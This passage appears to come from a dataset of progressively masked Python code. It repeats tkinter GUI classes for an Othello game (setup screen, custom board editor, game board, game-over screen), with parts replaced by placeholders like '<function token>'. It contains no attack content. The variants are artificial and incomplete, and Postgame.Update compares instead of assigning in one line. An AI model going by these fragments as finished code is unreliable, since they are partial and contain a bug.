controller):\n tk.Frame.__init__(self, parent)\n self.controller = controller\n self.configure(bg='white')\n self.Status_Bar = tk.Frame(self, bg='white')\n self.Status_Bar.pack(side='top', fill='x')\n self.Status_Bar.grid_columnconfigure(0, weight=1)\n self.Status_Bar.grid_columnconfigure(1, weight=1)\n self.Status_Bar.grid_columnconfigure(2, weight=1)\n self.Status_Bar.grid_rowconfigure(0, weight=1)\n self.Current_Player = tk.Label(self.Status_Bar, text='None', bg=\n 'white', font=FONTS['medium'])\n self.Current_Player.grid(row=0, column=0)\n self.Game_Type = tk.Label(self.Status_Bar, text='FULL', bg='white',\n font=FONTS['medium'])\n self.Game_Type.grid(row=0, column=1)\n self.Score = tk.Label(self.Status_Bar, text='Black: 2 | 2:White',\n bg='white', font=FONTS['medium'])\n self.Score.grid(row=0, column=2)\n self.Board_Area = tk.Frame(self, bg='#009900')\n self.Board_Area.pack(side='top', fill='both', expand=True)\n self.Board = []\n\n def __GUI_init__(self):\n for y in range(self.controller.Handler.GameParams['y_size']):\n row = []\n for x in range(self.controller.Handler.GameParams['x_size']):\n height = self.Board_Area.winfo_height()\n width = self.Board_Area.winfo_width()\n if height > width:\n diameter = width / self.controller.Handler.GameParams[\n 'x_size']\n else:\n diameter = height / self.controller.Handler.GameParams[\n 'y_size']\n self.Board_Area.grid_columnconfigure(x, weight=1)\n self.Board_Area.grid_rowconfigure(y, weight=1)\n disc = wg.Disc(self.Board_Area, self.controller, diameter=\n diameter, command=lambda x=x, y=y: self.Disc_Function(x, y)\n )\n disc.grid(row=y, column=x, sticky='nsew')\n row.append(disc)\n self.Board.append(row)\n self.Update_Board()\n\n def Reset_Game(self):\n self.Board = []\n for widget in self.Board_Area.winfo_children():\n widget.destroy()\n\n def Disc_Function(self, x: int, y: int):\n if not self.controller.Handler.Move(x + 1, y + 1):\n self.Invalid_Move()\n\n def Invalid_Move(self):\n showerror('Invalid Move', 'You cannot move there!')\n\n def Update_Board(self):\n for y in range(len(self.Board)):\n for x in range(len(self.Board[y])):\n game_piece = self.controller.Handler.Game.Board[y][x]\n if game_piece == None:\n pass\n elif game_piece == 'B':\n if self.Board[y][x].Current_Color != 'black':\n self.Board[y][x].Set_Piece_Color('black')\n elif game_piece == 'W':\n if self.Board[y][x].Current_Color != 'white':\n self.Board[y][x].Set_Piece_Color('white')\n\n def Update_Current_Player(self):\n self.Current_Player.config(text='Turn: ' + self.controller.\n Get_Current_Player())\n\n def Update_Game_Type(self):\n g_type = self.controller.Handler.Get_Game_Type()\n self.Game_Type.configure(text='Rules: ' + g_type)\n\n def Update_Score(self):\n b, w = self.controller.Handler.Get_Score()\n self.Score.configure(text='Black: {0!s} | {1!s} :White'.format(b, w))\n\n def Full_Update(self):\n self.Update_Score()\n self.Update_Current_Player()\n self.Update_Board()\n\n\nclass Postgame(tk.Frame):\n FrameName = 'Postgame'\n\n def __init__(self, parent, controller):\n tk.Frame.__init__(self, parent)\n self.controller = controller\n self.configure(bg='white')\n self.Title = tk.Label(self, text='Game Over!', bg='white', font=\n FONTS['large'])\n self.Title.pack(side='top')\n Separator(self, orient='horizontal').pack(side='top', fill='x', padx=10\n )\n self.Winner = tk.Label(self, text='The winner is black-discs.', bg=\n 'white', font=FONTS['medium'])\n self.Winner.pack(side='top')\n self.Buttons = tk.Frame(self, bg='white')\n self.Buttons.pack()\n Replay = tk.Button(self.Buttons, text='Replay', bg='#bbbbbb', font=\n FONTS['medium'], command=lambda : self.Replay())\n Replay.grid(row=0, column=0)\n Quit = tk.Button(self.Buttons, text='Quit', bg='#bbbbbb', font=\n FONTS['medium'], command=lambda : self.Quit())\n Quit.grid(row=0, column=1)\n self.Board_Area = tk.Frame(self, bg='white')\n self.Board_Area.pack(side='bottom')\n self.Score = tk.Label(self.Board_Area, text='', bg='white', font=\n FONTS['medium'])\n self.Score.pack()\n self.Board_Display = tk.Frame(self.Board_Area, bg='green')\n self.Board_Display.pack()\n self.Board = []\n\n def Replay(self):\n self.controller.Replay()\n\n def Quit(self):\n self.controller.destroy()\n exit()\n\n def Update_Board(self):\n for widget in self.Board_Display.winfo_children():\n widget.destroy()\n for y in range(self.controller.Handler.GameParams['y_size']):\n row = []\n for x in range(self.controller.Handler.GameParams['x_size']):\n self.Board_Area.grid_columnconfigure(x, weight=1)\n self.Board_Area.grid_rowconfigure(y, weight=1)\n col = None\n place_col = self.controller.Handler.Game.Board[y][x]\n if place_col == 'B':\n col = 'black'\n elif place_col == 'W':\n col = 'white'\n disc = wg.Disc(self.Board_Display, self.controller, col=col,\n diameter=50)\n disc.grid(row=y, column=x, sticky='nsew')\n row.append(disc)\n self.Board.append(row)\n\n def Update(self):\n winner, scores = self.controller.Handler.Get_Winner()\n if winner.lower() == 'b':\n winner = 'black-discs'\n elif winner.lower() == 'w':\n winner = 'white-discs'\n else:\n winner == 'no one'\n self.Winner.configure(text='The winner is ' + winner)\n self.Score.configure(text='Black: {0!s} | {1!s}:White'.format(\n scores[0], scores[1]))\n self.Update_Board()\n\n\n<code token>\n",
"<import token>\n<assignment token>\n<class token>\n<class token>\n\n\nclass Pregame(tk.Frame):\n <assignment token>\n\n def __init__(self, parent, controller):\n tk.Frame.__init__(self, parent)\n self.controller = controller\n self.configure(bg='white')\n self.set_vals = []\n self.__GUI_Reset__()\n\n def __GUI_Reset__(self):\n for widget in self.winfo_children():\n widget.destroy()\n tk.Label(self, text='Otello', font=FONTS['large'], bg='white').pack(\n side='top')\n Separator(self, orient='horizontal').pack(side='top', fill='x', padx=10\n )\n rule_set_frame = tk.Frame(self, bg='white')\n rule_set_frame.pack(pady=10)\n self.rs_label = tk.Label(rule_set_frame, text='Rule Set', font=\n FONTS['medium'], bg='white')\n self.rs_label.pack(side='top')\n self.full_btn = tk.Button(rule_set_frame, text='FULL', font=FONTS[\n 'medium'], bg='#bbbbbb', command=lambda : self.Select_Rule_Set(\n 'full'))\n self.full_btn.pack()\n self.simple_btn = tk.Button(rule_set_frame, text='SIMPLE', font=\n FONTS['medium'], bg='#bbbbbb', command=lambda : self.\n Select_Rule_Set('simple'))\n self.simple_btn.pack()\n row_frame = tk.Frame(self, bg='white')\n row_frame.pack(pady=10)\n self.row_label = tk.Label(row_frame, text='Board Rows', font=FONTS[\n 'medium'], bg='white')\n self.row_label.grid(row=0, column=0, columnspan=7)\n self.Rows_Buttons = []\n place = 0\n for rows in [4, 6, 8, 10, 12, 14, 16]:\n x = tk.Button(row_frame, text=str(rows), font=FONTS['small'],\n bg='#bbbbbb', command=lambda rows=rows: self.Select_Rows(rows))\n x.grid(row=1, column=place)\n self.Rows_Buttons.append(x)\n place += 1\n col_frame = tk.Frame(self, bg='white')\n col_frame.pack(pady=10)\n self.col_label = tk.Label(col_frame, text='Board Columns', font=\n FONTS['medium'], bg='white')\n self.col_label.grid(row=0, column=0, columnspan=7)\n self.Cols_Buttons = []\n place = 0\n for cols in [4, 6, 8, 10, 12, 14, 16]:\n x = tk.Button(col_frame, text=str(cols), font=FONTS['small'],\n bg='#bbbbbb', command=lambda cols=cols: self.Select_Cols(cols))\n x.grid(row=1, column=place)\n self.Cols_Buttons.append(x)\n place += 1\n first_move_frame = tk.Frame(self, bg='white')\n first_move_frame.pack(pady=10)\n self.first_move_label = tk.Label(first_move_frame, text=\n 'First to move', bg='white', font=FONTS['medium'])\n self.first_move_label.grid(row=0, column=0, columnspan=2)\n self.black_btn = tk.Button(first_move_frame, text='Black', bg=\n '#bbbbbb', font=FONTS['medium'], command=lambda : self.\n Select_First_Move('black'))\n self.black_btn.grid(row=1, column=0)\n self.white_btn = tk.Button(first_move_frame, text='White', bg=\n '#bbbbbb', font=FONTS['medium'], command=lambda : self.\n Select_First_Move('white'))\n self.white_btn.grid(row=1, column=1)\n condition_frame = tk.Frame(self, bg='white')\n condition_frame.pack(pady=10)\n self.condition_label = tk.Label(condition_frame, text=\n 'The winner is, the player with..', bg='white', font=FONTS[\n 'medium'])\n self.condition_label.grid(row=0, column=0, columnspan=2)\n self.greater_score = tk.Button(condition_frame, text='more discs.',\n bg='#bbbbbb', font=FONTS['medium'], command=lambda : self.\n Select_Condition('>'))\n self.greater_score.grid(row=1, column=0)\n self.lesser_score = tk.Button(condition_frame, text='less discs.',\n bg='#bbbbbb', font=FONTS['medium'], command=lambda : self.\n Select_Condition('<'))\n self.lesser_score.grid(row=1, column=1)\n self.Start_Game_Btn = tk.Button(self, text='Start', bg='#ff2222',\n activebackground='#992222', font=FONTS['medium'])\n self.Start_Game_Btn.pack(side='bottom')\n\n def Select_Rule_Set(self, _set: str):\n if _set == 'simple':\n self.controller.Handler.GameParams['game_type'] = 1\n else:\n self.controller.Handler.GameParams['game_type'] = 2\n self.full_btn.destroy()\n self.simple_btn.destroy()\n self.rs_label.configure(text='Rule Set: ' + _set.upper())\n self.set_vals.append('rules')\n self.Check_Can_Start()\n\n def Select_Rows(self, rows: int):\n self.controller.Handler.GameParams['y_size'] = rows\n for button in self.Rows_Buttons:\n button.destroy()\n self.row_label.configure(text='Board Rows: ' + str(rows))\n self.set_vals.append('rows')\n self.Check_Can_Start()\n\n def Select_Cols(self, cols: int):\n self.controller.Handler.GameParams['x_size'] = cols\n for button in self.Cols_Buttons:\n button.destroy()\n self.col_label.configure(text='Board Columns: ' + str(cols))\n self.set_vals.append('cols')\n self.Check_Can_Start()\n\n def Select_First_Move(self, mover: str):\n if mover == 'black':\n self.controller.Handler.GameParams['first_move'] = 'B'\n else:\n self.controller.Handler.GameParams['first_move'] = 'W'\n self.black_btn.destroy()\n self.white_btn.destroy()\n self.first_move_label.configure(text='First to move: ' + mover)\n self.set_vals.append('move')\n self.Check_Can_Start()\n\n def Select_Condition(self, condition: str):\n self.controller.Handler.GameParams['game_winner'] = condition\n if condition == '>':\n self.condition_label.configure(text=\n 'The winner is, the player with more discs.')\n else:\n self.condition_label.configure(text=\n 'The winner is, the player with less discs.')\n self.lesser_score.destroy()\n self.greater_score.destroy()\n self.set_vals.append('win')\n self.Check_Can_Start()\n\n def Check_Can_Start(self):\n if ('rules' in self.set_vals and 'rows' in self.set_vals and 'cols' in\n self.set_vals and 'move' in self.set_vals and 'win' in self.\n set_vals):\n self.Start_Game_Btn.configure(bg='#22ff22', activebackground=\n '#229922', command=lambda : self.Start_Custom_Board())\n <function token>\n\n\nclass Custom_Board(tk.Frame):\n FrameName = 'Setup_Board'\n\n def __init__(self, parent, controller):\n tk.Frame.__init__(self, parent)\n self.controller = controller\n self.configure(bg='white')\n self.Title_Frame = tk.Frame(self, bg='white')\n self.Title_Frame.pack(side='top', fill='x')\n tk.Label(self.Title_Frame, text='Create Custom Board', bg='white',\n font=FONTS['medium']).pack(side='left')\n start = tk.Button(self.Title_Frame, text='Play', bg='#22ff22',\n activebackground='#229922', font=FONTS['medium'], command=lambda :\n self.Start())\n start.pack(side='right')\n self.Use_Board = tk.IntVar()\n Use_Board = tk.Checkbutton(self.Title_Frame, text=\n 'Use custom board', font=FONTS['medium'], bg='white',\n activebackground='white', var=self.Use_Board, onvalue=1, offvalue=0\n )\n Use_Board.pack(side='right', padx=10)\n self.Board_Area = tk.Frame(self, bg='#009900')\n self.Board_Area.pack(side='top', fill='both', expand=True)\n self.Board = []\n\n def Setup_Board(self):\n for widget in self.Board_Area.winfo_children():\n widget.destroy()\n self.Board = []\n for y in range(self.controller.Handler.GameParams['y_size']):\n row = []\n for x in range(self.controller.Handler.GameParams['x_size']):\n height = self.Board_Area.winfo_height()\n width = self.Board_Area.winfo_width()\n if height > width:\n diameter = width / self.controller.Handler.GameParams[\n 'x_size']\n else:\n diameter = height / self.controller.Handler.GameParams[\n 'y_size']\n self.Board_Area.grid_columnconfigure(x, weight=1)\n self.Board_Area.grid_rowconfigure(y, weight=1)\n disc = wg.Disc(self.Board_Area, self.controller, diameter=\n diameter, mode='setup')\n disc.grid(row=y, column=x, sticky='nsew')\n row.append(disc)\n self.Board.append(row)\n\n def Parse_Board(self) ->list:\n new_board = []\n for row in self.Board:\n new_row = []\n for disc in row:\n if disc.Current_Color == 'white':\n new_row.append('W')\n elif disc.Current_Color == 'black':\n new_row.append('B')\n else:\n new_row.append(None)\n new_board.append(new_row)\n return new_board\n\n def Instructions_Display(self):\n showinfo('How to use',\n 'Click on a tile to cycle between white, black or empty. Check the \"Use Custom Board\" box to use this board!'\n )\n\n def Start(self):\n if self.Use_Board.get():\n self.controller.Handler.GameParams['board'] = self.Parse_Board()\n self.controller.Begin_Game()\n self.controller.Pages['Game'].__GUI_init__()\n self.controller.Pages['Game'].Update_Board()\n self.controller.showPage('Game')\n\n\nclass Game(tk.Frame):\n FrameName = 'Game'\n\n def __init__(self, parent, controller):\n tk.Frame.__init__(self, parent)\n self.controller = controller\n self.configure(bg='white')\n self.Status_Bar = tk.Frame(self, bg='white')\n self.Status_Bar.pack(side='top', fill='x')\n self.Status_Bar.grid_columnconfigure(0, weight=1)\n self.Status_Bar.grid_columnconfigure(1, weight=1)\n self.Status_Bar.grid_columnconfigure(2, weight=1)\n self.Status_Bar.grid_rowconfigure(0, weight=1)\n self.Current_Player = tk.Label(self.Status_Bar, text='None', bg=\n 'white', font=FONTS['medium'])\n self.Current_Player.grid(row=0, column=0)\n self.Game_Type = tk.Label(self.Status_Bar, text='FULL', bg='white',\n font=FONTS['medium'])\n self.Game_Type.grid(row=0, column=1)\n self.Score = tk.Label(self.Status_Bar, text='Black: 2 | 2:White',\n bg='white', font=FONTS['medium'])\n self.Score.grid(row=0, column=2)\n self.Board_Area = tk.Frame(self, bg='#009900')\n self.Board_Area.pack(side='top', fill='both', expand=True)\n self.Board = []\n\n def __GUI_init__(self):\n for y in range(self.controller.Handler.GameParams['y_size']):\n row = []\n for x in range(self.controller.Handler.GameParams['x_size']):\n height = self.Board_Area.winfo_height()\n width = self.Board_Area.winfo_width()\n if height > width:\n diameter = width / self.controller.Handler.GameParams[\n 'x_size']\n else:\n diameter = height / self.controller.Handler.GameParams[\n 'y_size']\n self.Board_Area.grid_columnconfigure(x, weight=1)\n self.Board_Area.grid_rowconfigure(y, weight=1)\n disc = wg.Disc(self.Board_Area, self.controller, diameter=\n diameter, command=lambda x=x, y=y: self.Disc_Function(x, y)\n )\n disc.grid(row=y, column=x, sticky='nsew')\n row.append(disc)\n self.Board.append(row)\n self.Update_Board()\n\n def Reset_Game(self):\n self.Board = []\n for widget in self.Board_Area.winfo_children():\n widget.destroy()\n\n def Disc_Function(self, x: int, y: int):\n if not self.controller.Handler.Move(x + 1, y + 1):\n self.Invalid_Move()\n\n def Invalid_Move(self):\n showerror('Invalid Move', 'You cannot move there!')\n\n def Update_Board(self):\n for y in range(len(self.Board)):\n for x in range(len(self.Board[y])):\n game_piece = self.controller.Handler.Game.Board[y][x]\n if game_piece == None:\n pass\n elif game_piece == 'B':\n if self.Board[y][x].Current_Color != 'black':\n self.Board[y][x].Set_Piece_Color('black')\n elif game_piece == 'W':\n if self.Board[y][x].Current_Color != 'white':\n self.Board[y][x].Set_Piece_Color('white')\n\n def Update_Current_Player(self):\n self.Current_Player.config(text='Turn: ' + self.controller.\n Get_Current_Player())\n\n def Update_Game_Type(self):\n g_type = self.controller.Handler.Get_Game_Type()\n self.Game_Type.configure(text='Rules: ' + g_type)\n\n def Update_Score(self):\n b, w = self.controller.Handler.Get_Score()\n self.Score.configure(text='Black: {0!s} | {1!s} :White'.format(b, w))\n\n def Full_Update(self):\n self.Update_Score()\n self.Update_Current_Player()\n self.Update_Board()\n\n\nclass Postgame(tk.Frame):\n FrameName = 'Postgame'\n\n def __init__(self, parent, controller):\n tk.Frame.__init__(self, parent)\n self.controller = controller\n self.configure(bg='white')\n self.Title = tk.Label(self, text='Game Over!', bg='white', font=\n FONTS['large'])\n self.Title.pack(side='top')\n Separator(self, orient='horizontal').pack(side='top', fill='x', padx=10\n )\n self.Winner = tk.Label(self, text='The winner is black-discs.', bg=\n 'white', font=FONTS['medium'])\n self.Winner.pack(side='top')\n self.Buttons = tk.Frame(self, bg='white')\n self.Buttons.pack()\n Replay = tk.Button(self.Buttons, text='Replay', bg='#bbbbbb', font=\n FONTS['medium'], command=lambda : self.Replay())\n Replay.grid(row=0, column=0)\n Quit = tk.Button(self.Buttons, text='Quit', bg='#bbbbbb', font=\n FONTS['medium'], command=lambda : self.Quit())\n Quit.grid(row=0, column=1)\n self.Board_Area = tk.Frame(self, bg='white')\n self.Board_Area.pack(side='bottom')\n self.Score = tk.Label(self.Board_Area, text='', bg='white', font=\n FONTS['medium'])\n self.Score.pack()\n self.Board_Display = tk.Frame(self.Board_Area, bg='green')\n self.Board_Display.pack()\n self.Board = []\n\n def Replay(self):\n self.controller.Replay()\n\n def Quit(self):\n self.controller.destroy()\n exit()\n\n def Update_Board(self):\n for widget in self.Board_Display.winfo_children():\n widget.destroy()\n for y in range(self.controller.Handler.GameParams['y_size']):\n row = []\n for x in range(self.controller.Handler.GameParams['x_size']):\n self.Board_Area.grid_columnconfigure(x, weight=1)\n self.Board_Area.grid_rowconfigure(y, weight=1)\n col = None\n place_col = self.controller.Handler.Game.Board[y][x]\n if place_col == 'B':\n col = 'black'\n elif place_col == 'W':\n col = 'white'\n disc = wg.Disc(self.Board_Display, self.controller, col=col,\n diameter=50)\n disc.grid(row=y, column=x, sticky='nsew')\n row.append(disc)\n self.Board.append(row)\n\n def Update(self):\n winner, scores = self.controller.Handler.Get_Winner()\n if winner.lower() == 'b':\n winner = 'black-discs'\n elif winner.lower() == 'w':\n winner = 'white-discs'\n else:\n winner == 'no one'\n self.Winner.configure(text='The winner is ' + winner)\n self.Score.configure(text='Black: {0!s} | {1!s}:White'.format(\n scores[0], scores[1]))\n self.Update_Board()\n\n\n<code token>\n",
"<import token>\n<assignment token>\n<class token>\n<class token>\n\n\nclass Pregame(tk.Frame):\n <assignment token>\n\n def __init__(self, parent, controller):\n tk.Frame.__init__(self, parent)\n self.controller = controller\n self.configure(bg='white')\n self.set_vals = []\n self.__GUI_Reset__()\n\n def __GUI_Reset__(self):\n for widget in self.winfo_children():\n widget.destroy()\n tk.Label(self, text='Otello', font=FONTS['large'], bg='white').pack(\n side='top')\n Separator(self, orient='horizontal').pack(side='top', fill='x', padx=10\n )\n rule_set_frame = tk.Frame(self, bg='white')\n rule_set_frame.pack(pady=10)\n self.rs_label = tk.Label(rule_set_frame, text='Rule Set', font=\n FONTS['medium'], bg='white')\n self.rs_label.pack(side='top')\n self.full_btn = tk.Button(rule_set_frame, text='FULL', font=FONTS[\n 'medium'], bg='#bbbbbb', command=lambda : self.Select_Rule_Set(\n 'full'))\n self.full_btn.pack()\n self.simple_btn = tk.Button(rule_set_frame, text='SIMPLE', font=\n FONTS['medium'], bg='#bbbbbb', command=lambda : self.\n Select_Rule_Set('simple'))\n self.simple_btn.pack()\n row_frame = tk.Frame(self, bg='white')\n row_frame.pack(pady=10)\n self.row_label = tk.Label(row_frame, text='Board Rows', font=FONTS[\n 'medium'], bg='white')\n self.row_label.grid(row=0, column=0, columnspan=7)\n self.Rows_Buttons = []\n place = 0\n for rows in [4, 6, 8, 10, 12, 14, 16]:\n x = tk.Button(row_frame, text=str(rows), font=FONTS['small'],\n bg='#bbbbbb', command=lambda rows=rows: self.Select_Rows(rows))\n x.grid(row=1, column=place)\n self.Rows_Buttons.append(x)\n place += 1\n col_frame = tk.Frame(self, bg='white')\n col_frame.pack(pady=10)\n self.col_label = tk.Label(col_frame, text='Board Columns', font=\n FONTS['medium'], bg='white')\n self.col_label.grid(row=0, column=0, columnspan=7)\n self.Cols_Buttons = []\n place = 0\n for cols in [4, 6, 8, 10, 12, 14, 16]:\n x = tk.Button(col_frame, text=str(cols), font=FONTS['small'],\n bg='#bbbbbb', command=lambda cols=cols: self.Select_Cols(cols))\n x.grid(row=1, column=place)\n self.Cols_Buttons.append(x)\n place += 1\n first_move_frame = tk.Frame(self, bg='white')\n first_move_frame.pack(pady=10)\n self.first_move_label = tk.Label(first_move_frame, text=\n 'First to move', bg='white', font=FONTS['medium'])\n self.first_move_label.grid(row=0, column=0, columnspan=2)\n self.black_btn = tk.Button(first_move_frame, text='Black', bg=\n '#bbbbbb', font=FONTS['medium'], command=lambda : self.\n Select_First_Move('black'))\n self.black_btn.grid(row=1, column=0)\n self.white_btn = tk.Button(first_move_frame, text='White', bg=\n '#bbbbbb', font=FONTS['medium'], command=lambda : self.\n Select_First_Move('white'))\n self.white_btn.grid(row=1, column=1)\n condition_frame = tk.Frame(self, bg='white')\n condition_frame.pack(pady=10)\n self.condition_label = tk.Label(condition_frame, text=\n 'The winner is, the player with..', bg='white', font=FONTS[\n 'medium'])\n self.condition_label.grid(row=0, column=0, columnspan=2)\n self.greater_score = tk.Button(condition_frame, text='more discs.',\n bg='#bbbbbb', font=FONTS['medium'], command=lambda : self.\n Select_Condition('>'))\n self.greater_score.grid(row=1, column=0)\n self.lesser_score = tk.Button(condition_frame, text='less discs.',\n bg='#bbbbbb', font=FONTS['medium'], command=lambda : self.\n Select_Condition('<'))\n self.lesser_score.grid(row=1, column=1)\n self.Start_Game_Btn = tk.Button(self, text='Start', bg='#ff2222',\n activebackground='#992222', font=FONTS['medium'])\n self.Start_Game_Btn.pack(side='bottom')\n\n def Select_Rule_Set(self, _set: str):\n if _set == 'simple':\n self.controller.Handler.GameParams['game_type'] = 1\n else:\n self.controller.Handler.GameParams['game_type'] = 2\n self.full_btn.destroy()\n self.simple_btn.destroy()\n self.rs_label.configure(text='Rule Set: ' + _set.upper())\n self.set_vals.append('rules')\n self.Check_Can_Start()\n\n def Select_Rows(self, rows: int):\n self.controller.Handler.GameParams['y_size'] = rows\n for button in self.Rows_Buttons:\n button.destroy()\n self.row_label.configure(text='Board Rows: ' + str(rows))\n self.set_vals.append('rows')\n self.Check_Can_Start()\n <function token>\n\n def Select_First_Move(self, mover: str):\n if mover == 'black':\n self.controller.Handler.GameParams['first_move'] = 'B'\n else:\n self.controller.Handler.GameParams['first_move'] = 'W'\n self.black_btn.destroy()\n self.white_btn.destroy()\n self.first_move_label.configure(text='First to move: ' + mover)\n self.set_vals.append('move')\n self.Check_Can_Start()\n\n def Select_Condition(self, condition: str):\n self.controller.Handler.GameParams['game_winner'] = condition\n if condition == '>':\n self.condition_label.configure(text=\n 'The winner is, the player with more discs.')\n else:\n self.condition_label.configure(text=\n 'The winner is, the player with less discs.')\n self.lesser_score.destroy()\n self.greater_score.destroy()\n self.set_vals.append('win')\n self.Check_Can_Start()\n\n def Check_Can_Start(self):\n if ('rules' in self.set_vals and 'rows' in self.set_vals and 'cols' in\n self.set_vals and 'move' in self.set_vals and 'win' in self.\n set_vals):\n self.Start_Game_Btn.configure(bg='#22ff22', activebackground=\n '#229922', command=lambda : self.Start_Custom_Board())\n <function token>\n\n\nclass Custom_Board(tk.Frame):\n FrameName = 'Setup_Board'\n\n def __init__(self, parent, controller):\n tk.Frame.__init__(self, parent)\n self.controller = controller\n self.configure(bg='white')\n self.Title_Frame = tk.Frame(self, bg='white')\n self.Title_Frame.pack(side='top', fill='x')\n tk.Label(self.Title_Frame, text='Create Custom Board', bg='white',\n font=FONTS['medium']).pack(side='left')\n start = tk.Button(self.Title_Frame, text='Play', bg='#22ff22',\n activebackground='#229922', font=FONTS['medium'], command=lambda :\n self.Start())\n start.pack(side='right')\n self.Use_Board = tk.IntVar()\n Use_Board = tk.Checkbutton(self.Title_Frame, text=\n 'Use custom board', font=FONTS['medium'], bg='white',\n activebackground='white', var=self.Use_Board, onvalue=1, offvalue=0\n )\n Use_Board.pack(side='right', padx=10)\n self.Board_Area = tk.Frame(self, bg='#009900')\n self.Board_Area.pack(side='top', fill='both', expand=True)\n self.Board = []\n\n def Setup_Board(self):\n for widget in self.Board_Area.winfo_children():\n widget.destroy()\n self.Board = []\n for y in range(self.controller.Handler.GameParams['y_size']):\n row = []\n for x in range(self.controller.Handler.GameParams['x_size']):\n height = self.Board_Area.winfo_height()\n width = self.Board_Area.winfo_width()\n if height > width:\n diameter = width / self.controller.Handler.GameParams[\n 'x_size']\n else:\n diameter = height / self.controller.Handler.GameParams[\n 'y_size']\n self.Board_Area.grid_columnconfigure(x, weight=1)\n self.Board_Area.grid_rowconfigure(y, weight=1)\n disc = wg.Disc(self.Board_Area, self.controller, diameter=\n diameter, mode='setup')\n disc.grid(row=y, column=x, sticky='nsew')\n row.append(disc)\n self.Board.append(row)\n\n def Parse_Board(self) ->list:\n new_board = []\n for row in self.Board:\n new_row = []\n for disc in row:\n if disc.Current_Color == 'white':\n new_row.append('W')\n elif disc.Current_Color == 'black':\n new_row.append('B')\n else:\n new_row.append(None)\n new_board.append(new_row)\n return new_board\n\n def Instructions_Display(self):\n showinfo('How to use',\n 'Click on a tile to cycle between white, black or empty. Check the \"Use Custom Board\" box to use this board!'\n )\n\n def Start(self):\n if self.Use_Board.get():\n self.controller.Handler.GameParams['board'] = self.Parse_Board()\n self.controller.Begin_Game()\n self.controller.Pages['Game'].__GUI_init__()\n self.controller.Pages['Game'].Update_Board()\n self.controller.showPage('Game')\n\n\nclass Game(tk.Frame):\n FrameName = 'Game'\n\n def __init__(self, parent, controller):\n tk.Frame.__init__(self, parent)\n self.controller = controller\n self.configure(bg='white')\n self.Status_Bar = tk.Frame(self, bg='white')\n self.Status_Bar.pack(side='top', fill='x')\n self.Status_Bar.grid_columnconfigure(0, weight=1)\n self.Status_Bar.grid_columnconfigure(1, weight=1)\n self.Status_Bar.grid_columnconfigure(2, weight=1)\n self.Status_Bar.grid_rowconfigure(0, weight=1)\n self.Current_Player = tk.Label(self.Status_Bar, text='None', bg=\n 'white', font=FONTS['medium'])\n self.Current_Player.grid(row=0, column=0)\n self.Game_Type = tk.Label(self.Status_Bar, text='FULL', bg='white',\n font=FONTS['medium'])\n self.Game_Type.grid(row=0, column=1)\n self.Score = tk.Label(self.Status_Bar, text='Black: 2 | 2:White',\n bg='white', font=FONTS['medium'])\n self.Score.grid(row=0, column=2)\n self.Board_Area = tk.Frame(self, bg='#009900')\n self.Board_Area.pack(side='top', fill='both', expand=True)\n self.Board = []\n\n def __GUI_init__(self):\n for y in range(self.controller.Handler.GameParams['y_size']):\n row = []\n for x in range(self.controller.Handler.GameParams['x_size']):\n height = self.Board_Area.winfo_height()\n width = self.Board_Area.winfo_width()\n if height > width:\n diameter = width / self.controller.Handler.GameParams[\n 'x_size']\n else:\n diameter = height / self.controller.Handler.GameParams[\n 'y_size']\n self.Board_Area.grid_columnconfigure(x, weight=1)\n self.Board_Area.grid_rowconfigure(y, weight=1)\n disc = wg.Disc(self.Board_Area, self.controller, diameter=\n diameter, command=lambda x=x, y=y: self.Disc_Function(x, y)\n )\n disc.grid(row=y, column=x, sticky='nsew')\n row.append(disc)\n self.Board.append(row)\n self.Update_Board()\n\n def Reset_Game(self):\n self.Board = []\n for widget in self.Board_Area.winfo_children():\n widget.destroy()\n\n def Disc_Function(self, x: int, y: int):\n if not self.controller.Handler.Move(x + 1, y + 1):\n self.Invalid_Move()\n\n def Invalid_Move(self):\n showerror('Invalid Move', 'You cannot move there!')\n\n def Update_Board(self):\n for y in range(len(self.Board)):\n for x in range(len(self.Board[y])):\n game_piece = self.controller.Handler.Game.Board[y][x]\n if game_piece == None:\n pass\n elif game_piece == 'B':\n if self.Board[y][x].Current_Color != 'black':\n self.Board[y][x].Set_Piece_Color('black')\n elif game_piece == 'W':\n if self.Board[y][x].Current_Color != 'white':\n self.Board[y][x].Set_Piece_Color('white')\n\n def Update_Current_Player(self):\n self.Current_Player.config(text='Turn: ' + self.controller.\n Get_Current_Player())\n\n def Update_Game_Type(self):\n g_type = self.controller.Handler.Get_Game_Type()\n self.Game_Type.configure(text='Rules: ' + g_type)\n\n def Update_Score(self):\n b, w = self.controller.Handler.Get_Score()\n self.Score.configure(text='Black: {0!s} | {1!s} :White'.format(b, w))\n\n def Full_Update(self):\n self.Update_Score()\n self.Update_Current_Player()\n self.Update_Board()\n\n\nclass Postgame(tk.Frame):\n FrameName = 'Postgame'\n\n def __init__(self, parent, controller):\n tk.Frame.__init__(self, parent)\n self.controller = controller\n self.configure(bg='white')\n self.Title = tk.Label(self, text='Game Over!', bg='white', font=\n FONTS['large'])\n self.Title.pack(side='top')\n Separator(self, orient='horizontal').pack(side='top', fill='x', padx=10\n )\n self.Winner = tk.Label(self, text='The winner is black-discs.', bg=\n 'white', font=FONTS['medium'])\n self.Winner.pack(side='top')\n self.Buttons = tk.Frame(self, bg='white')\n self.Buttons.pack()\n Replay = tk.Button(self.Buttons, text='Replay', bg='#bbbbbb', font=\n FONTS['medium'], command=lambda : self.Replay())\n Replay.grid(row=0, column=0)\n Quit = tk.Button(self.Buttons, text='Quit', bg='#bbbbbb', font=\n FONTS['medium'], command=lambda : self.Quit())\n Quit.grid(row=0, column=1)\n self.Board_Area = tk.Frame(self, bg='white')\n self.Board_Area.pack(side='bottom')\n self.Score = tk.Label(self.Board_Area, text='', bg='white', font=\n FONTS['medium'])\n self.Score.pack()\n self.Board_Display = tk.Frame(self.Board_Area, bg='green')\n self.Board_Display.pack()\n self.Board = []\n\n def Replay(self):\n self.controller.Replay()\n\n def Quit(self):\n self.controller.destroy()\n exit()\n\n def Update_Board(self):\n for widget in self.Board_Display.winfo_children():\n widget.destroy()\n for y in range(self.controller.Handler.GameParams['y_size']):\n row = []\n for x in range(self.controller.Handler.GameParams['x_size']):\n self.Board_Area.grid_columnconfigure(x, weight=1)\n self.Board_Area.grid_rowconfigure(y, weight=1)\n col = None\n place_col = self.controller.Handler.Game.Board[y][x]\n if place_col == 'B':\n col = 'black'\n elif place_col == 'W':\n col = 'white'\n disc = wg.Disc(self.Board_Display, self.controller, col=col,\n diameter=50)\n disc.grid(row=y, column=x, sticky='nsew')\n row.append(disc)\n self.Board.append(row)\n\n def Update(self):\n winner, scores = 